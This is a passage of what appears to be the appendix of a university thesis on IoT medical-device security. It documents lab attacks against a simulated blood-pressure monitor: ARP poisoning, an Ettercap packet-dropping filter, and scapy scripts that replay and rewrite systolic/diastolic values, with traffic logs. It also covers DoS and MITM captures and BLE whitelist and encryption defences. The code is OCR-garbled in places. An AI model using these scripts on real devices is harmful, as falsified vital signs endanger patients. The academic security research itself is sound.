192.168.50.231:58470 —> 194.47.176.190:80 


Listing 30: ARP-Poisoning 
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C.4 Packet Dropping Attack 
C.4.1 Ettercap filter 


~ 


Modify.ecf 
if (ip.proto = TCP & tcp.dst = 80 & ip.src = '192.168.50.231') { 


drop(); 
msg("Detected systolic and diastolic data."); 


Listing 31: Packet Dropping Attack filter for ettercap 
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C.4.2 Communications 


Apr 28 09:59:06 2024 [912099] 
194.47.176.190:80 —> 192.168.50.231:55176 


Sun Apr 28 09:59:06 2024 [973122] 
TCP 192.168.50.231:55176 —% 194.47.176.190:80 


Sun Apr 28 09:59:06 2024 [973687] 

TCP 192.168.50.231:55176 — 194.47.176.190:80 
Detected systolic and diastolic data. 

Detected systolic and diastolic data. 


Sun Apr 28 09:59:07 2024 [194282] 
TCP 194.47.176.190:80 —> 192.168.50.231:55176 


Sun Apr 28 09:59:07 2024 [280191] 
TCP 192.168.50.231:55176 —> 194.47.176.190:80 
Detected systolic and diastolic data. 


Sun Apr 28 09:59:07 2024 [738285] 
TCP 194.47.176.190:80 —> 192.168.50.231:55176 


Sun Apr 28 09:59:07 2024 [791629] 
TCP 192.168.50.231:55176 — 194.47.176.190:80 
Detected systolic and diastolic data. 


Sun Apr 28 09:59:08 2024 [608842] 
TCP 192.168.50.231:55176 — 194.47.176.190:80 
Detected systolic and diastolic data. 


Sun Apr 28 09:59:08 2024 [826297] 
TCP 194.47.176.190:80 —> 192.168.50.231:55176 


Sun Apr 28 09:59:08 2024 [924384] 
TCP 192.168.50.231:55176 — > 194.47.176.190:80 
Detected systolic and diastolic data. 


Sun Apr 28 09:59:11 2024 [34153] 
TCP 194.47.176.190:80 —> 192.168.50.231:55176 


Sun Apr 28 09:59:11 2024 [66483] 
TCP 192.168.50.231:55176 —> 194.47.176.190:80 
Detected systolic and diastolic data. 


Listing 32: Packet Dropping Attack 
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C.5 Replay Attack 
C.5.1 Replay Attack Code 


GNU nano 7.2 Modifications.py 
rom scapy.all import * 


def packet_callback( packet) 
if packet.haslayer(TCP) and packet.haslayer(Raw): 


try: 
payload_str = packet[Raw].load.decode( 'utf-8') 
print("Decoded Payload:", payload_str) 


if "POST" in payload_str and “handle_post.php" in payload_str: 
print("Original Packet: ", payload_str) 
modified_payload = payload_str.replace("systolic", “Got YOU").replace("diastolic", "DUDE") 
print("Modified Packet: ", modified_payload) 


eth_layer = Ether(dst="a0:ce:c8:a0:d1:9b", src="ec:62:60:80:f7:48") 
new_packet = eth_layer / packet[IP] / packet[TCP] / Raw(load=modified_payload.encode('utf-8')) 
sendp(new_packet, iface="etho") 
except UnicodeDecodeError 
print("Cannot Do it") 
except Exception as e 
print(f"Error: 


sniff(filter="tcp port 80 and src host 192.168.50.231", prn=packet_callback, iface="etho") 


andle_post.php HTTP/1.1 
PosT /handle_post.php HTTP/1.1 
POST /handle_post.php HTTP/1.1 


ent 1 packets. 
‘oded Payload: POST /nandle_post.php HTTP/1.1 
php HTTP/1.1 

php HTTP/1.1 


it 1 packets. 
oded Payload: PosT /handl php HTTP/1.1 
php HTTP/1.1 
php HTTP/1.1 


Post /handle_post.php HTTP/1.1 
POST /handl t.php HTTP/1,1 
PosT /ha php HTTP/1.1 


Decoded Payl andle_post.php HTTP/1.1 
Original Pac T t.php HTTP/1.1 
Modified Packet: st.php HTTP/1.1 Content-Typ 


Received POST 
/handle_post.php HTTP/1.1 
/handle_post.php HTTP/1.1 


Packets. 
coded Payload: POST /handle_post.php HTTP/1.1 
Post /hand 
POST /handl 


: POST /handLe_post Tue Apr 6:39 2024 [414504] 
POST /handle_pos: 04 4 .190:80 —> 192.161 
Post /handle_pos /1. HTTP/1.2 

: Tue, 
: Apache/2.4, 
POST /handLe_post, 
Post /handLe_pos 5 
POST /handle_post.php HTTP/1.1 


POST /handle_post.php HITP/1.1 


Listing 36: Replay Attack 3 
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-php HTTP/1.1 
1:49372 | A (0) 


«php HTTP/1.1 
«php HTTP/1.1 


-php HTTP/1.1 


diastolic=55 


andle_post.php HTTP/1.1 


php HITP/1.1 


Listing 37: Replay Attack 4 


C.6 Packet Modification 
C.6.1 Used Logic 


GNU nano 7.2 
Irom sca all import * 
import urllib.parse as ur 


Modifications.py 


tcp_sessions = {} 


idef handle_post_request(payload): 
try: 
if "POST" in payload and "/handle_post.php” in payload: 
headers, body = payload.split(" way 2) 
post_params urlparse.parse_qs(body) 
if ‘systolic’ in post_params and ‘diastolic’ in post_params: 
post_params['systolic'] = ['90'] 
post_params['diastolic'] = ['120'] 
modified_body urlparse.urlencode(post_params, doseq=True) 
modified_payload = headers + " " + modified_body 
return modified_payload 
except Exception as e: 
print(f"Error processing POST request: {e}") 


return None 


idef packet_callback(packet): 
if packet.haslayer(TCP) and packet.haslayer(Raw): 
session_key = (packet[IP].src, packet[IP].dst, packet[TCP].sport, packet[TCP].dport) 
if packet[TCP].flags & 0x01: 
if session_key in tcp_sessions: 
del tcp_sessions[session_key] 
return 


if session_key not in tcp_sessions: 
tcp_sessions[session_key] = b 


tcp_sessions[session_key] += bytes(packet[Raw]) 

payload = tcp_sessions[session_key].decode('utf-8', errors='ignore' ) 
modified_payload = handle_post_request(payload) 

if modified_payload: 


new_packet = packet.copy() 
new_packet[Raw].load = modified_payload.encode( 'utf 


new_packet[Ether].dst "a@:ce:c8:a0:d1:9b' 
new_packet[Ether].src packet[Ether].src 


del new_packet[IP].len 
del new_packet[IP].chksum 
del new_packet[TCP].chksum 


sendp(new_packet, iface= 
print("Modified packet sent.") 


"tcp port 80 and src host 192.168.50.231", prn=packet_callback, store=0) 


Listing 38: Code used for packet modification 
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C.6.2 Results 


Tue Apr 30 08:14:38 2024 [802828] 

TCP 192.168.50.231:61635 —>» 194.47.176.190:80 | AP (180) 
POST /handle_post.php HTTP/1.1POST /handle_post.php HTTP/1.1. 
Host: 194.47.176.190. 

Content-Type: appLication/x-ww-form-urlencoded. 
Content-Length: 25. 


systolic=90&diastolic=120 


Tue Apr 30 08:14:38 2024 [817482] 
TCP 194.47.176.190:80 —> 192.168.50.231:61635 


Tue Apr 30 08:14:39 2024 [471088] 

TCP 192.168.50.231:52808 —>» 194.47.176.190:80 | AP (180) 
POST /handle_post.php HTTP/1.1POST /handle_post.php HTTP/1.1. 
Host: 194.47.176.190. 

Content-Type: appLication/x-ww-form-urlencoded. 
Content-Length: 25. 


systoLlic=90&diastolic=120 


Tue Apr 30 08:14:39 2024 [485477] 
TCP 194.47.176.190:80 —> 192.168.50.231:52808 


Tue Apr 30 08:14:39 2024 [490296] 
TCP 192.168.50.231:52808 —> 194.47.176.190:80 


Apr 30 08:14:39 2024 [492384] 
192.168.50.231:52808 —> 194.47.176.190:80 


Apr 30 08:14:39 2024 [509596] 
194.47.176.190:80 —> 192.168.50.231:52808 


Apr 30 08:14:39 2024 [515327] 
192.168.50.231:52808 —> 194.47.176.190:80 


Tue Apr 30 08:14:39 2024 [930785] 

TCP 192.168.50.231:53092 —> 194.47.176.190:80 | AP (180) 
POST /handle_post.php HTTP/1.1POST /handle_post.php HTTP/1.1. 
Host: 194.47.176.190. 

Content-Type: appLication/x-ww-form-urlencoded. 
Content-Length: 25. 


systoLic=90&diastoLlic=120 
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Tue Apr 30 08:14:36 2024 [659785] 

TCP 192.168.50.231:52808 —> 194.47.176.190:80 | AP (180) 
POST /handle_post.php HTTP/1.1POST /handle_post.php HTTP/1.1. 
Host: 194.47.176.190. 

Content-Type: appLication/x-ww-form-urlencoded. 
Content-Length: 25. 


systolic=90&diastolic=120 


Tue Apr 30 08:14:36 2024 [983454] 
TCP 194.47.176.190:80 —> 192.168.50.231:60292 


Tue Apr 30 08:14:36 2024 [986665] 
TCP 192.168.50.231:53092 —> 194.47.176.190:80 


Tue Apr 3@ 08:14:36 2024 [993318] 
TCP 192.168.50.231:60292 —> 194.47.176.190:80 


Tue Apr 30 08:14:37 2024 [1567] 
TCP 194.47.176.190:80 —> 192.168.50.231:53092 


Tue Apr 30 08:14:37 2024 [7597] 
TCP 192.168.50.231:53092 —> 194.47.176.190:80 


Tue Apr 30 08:14:37 2024 [23407] 

TCP 192.168.50.231:53092 —> 194.47.176.190:80 | AP (180) 
POST /handle_post.php HTTP/1.1POST /handle_post.php HTTP/1.1. 
Host: 194.47.176.190. 

Content-Type: application/x-ww-form-urlencoded. 
Content-Length: 25. 


systolic=90&diastolic=120 


Tue Apr 30 08:14:37 2024 [25729] 
TCP 194.47.176.190:80 — > 192.168.50.231:53092 


Tue Apr 30 08:14:37 2024 [574801] 

TCP 192.168.50.231:60292 —> 194.47.176.190:80 | AP (180) 
POST /handle_post.php HTTP/1.1POST /handle_post.php HTTP/1.1. 
Host: 194.47.176.190. 

Content-Type: appLication/x-ww-form-urlencoded. 
Content-Length: 25. 


systolic=90&diastolic=120 


Listing 40: Modified Package Sniff 2 
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D Carried Attacks over Wi-Fi with Security Framework 


D.1 TCP Communications 


Listing 41: Communication over TCP and HTTPS 


D.2 DOS attack directed to the target device 


Heart_Beat_Simulator.ino 


t-request..."); 


tt Serial Monitor x 


No Line Ending ~ || 9600 baud 
LUTIMECLEU LU SEI Ver 
Systolic Pressure: 106 
Diastolic Pressure: 67 
Response from server: 
HTTP/1.1 200 OK 
Date: Wed, 08 May 2024 16:55:07 GMT 
Server: Apache/2.4.52 (Ubuntu) 
Content-Length: 5@ 
Content-Type: text/html; charset=UTF-8 


Received POST request: systolic=106, diastolic=67 
Request completed, waitina hefara candina navt ranuact 
Disconnecting from ser 


Connection lost. Cloud sketch actions and updates won't be available. 
Starting connection to 


Listing 42: Possible DOS attack targeting mimicked IoMT device 
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D.3 Man-in-the-middle Attack 


Tue May 7 11:45:43 2024 [484741] 
TCP 192.168.50.231:54193 —> 194.47.176.190:443 
K.i..C D.5: Xb. : 
g. B . R s2aRaa eat 09 icy WS eee, “ cscloud6-190.1n 


May 7 11:45:43 2024 [505445] 
194.47.176.190:443 —> 192.168.50.231:54193 


May 7 11:45:43 2024 [509582] 
194.47.176.190:443 —> 192.168.50.231:54193 | A (1436) 
ia 601s .d. JEDOWNGRD. eVm 8.°09...N.9* 


beers Jers we JHises 25. 5021°8 “| 
++» 240506204940Z .. 240804204939Z0.1.0...U 


eee . eee . . 000 0 wee Ue oe O08. Ue 
U.# re fi inne ... http://r3.o.lencr.o 
3.i.lencr.or, 


Tue May 7 11:45:43 2 

TCP 194.47.176.190: 92.168.50.231:54193 | AP (1436) 

--. 001.0 . 
Internet Security Research Group1. «.+-ISRG Root X10... 200904000000Z .. 250915160000Z021.0 
Let's Encrypt1.0 «R30 


oe O.ee. . eee . -0...U.# 
i.lencr.org/Q' . . //x1.c.lenc 
NG>...D gx. 


: sLVB Re. 
N.%8DPm 


Tue May 7 11:45:43 2024 [509760] 
TCP 194.47.176.190:443 —> 192.168.50. 
U.ZSwat-.C.d... v&.... 
-oDS 
&. 


Listing 43: MiTM attack over HTTPS communication 
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E Carried Attacks over Bluetooth Low Energy with Security 
Implementation 


E.1 Blacklist and Whitelist usage 


Nano33.ino 
BLECharacteristic ; 1", BLERead | BLENotify, 512); 


* whitelist [] 
whitelistSize 


variable 


Type: 
Value = 
Number of addresses in the whitelist 


whitelistSize = 1 


} 


Serial Monitor x 


DaLLCly LOvelr. VU 

Bluetooth device is ready to pair 

Connected to central: 6d:1c:ab:b7:e8:7f 
Device not in whitelist. Disconnecting. 
Disconnected from central: 6d:1c:ab:b7:e8:7f 
Bluetooth device is ready to pair 

Connected to central: 6d:1c:ab:b7:e8:7f 
Device is whitelisted. Connection allowed. 


Listing 44: BLE black whitelist usage 
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E.2 Encrypted communication 


< Arduino Nano 33 loT DISCONNECT 


Status: CONNECTED 
NOT BONDED 


GENERIC ACCESS 


0x1800 
PRIMARY SERVICE 


GENERIC ATTRIBUTE 


0x1801 
PRIMARY SERVICE 


CUSTOM SERVICE 


00001101-0000-1000-8000-00805F9B34FB 
PRIMARY SERVICE 


CUSTOM CHARACTERISTIC @ rN 


UUID: 00002101-0000-1000-8000-00805F9B34FB 
Properties: READ,NOTIFY 

Value: HH 

® CS\SR!H 

Hw 

Hex: 0x201C10060A18020643535C5352211D0A160D1C09 


Descriptors: 


Client Characteristic Configuration @ 
UUID: 0x2902 


Notifications or indications disabled 


Listing 45: Encrypted BLE message 


111 (112) 


Linneuniversitetet 


Kalmar Vaxjé 


Copyright Notice 


Copyright © 2024 by Ryustem Shaban and Ahmad Husein. All rights reserved. 

This work is available for republication and citation under the condition that it is credited 
properly to its authors. No part of this publication may be claimed as the work of any other 
than its rightful authors. The algorithms developed and described in this thesis, including their 
underlying principles and implementations, are the exclusive intellectual property of the 
authors. Unauthorized use, reproduction, or claiming of ownership of these algorithms is 
strictly prohibited and subject to legal action. 

For permission for any form of reproduction that does not constitute fair use, direct inquiries 


must be addressed to the authors or their designated representative. 


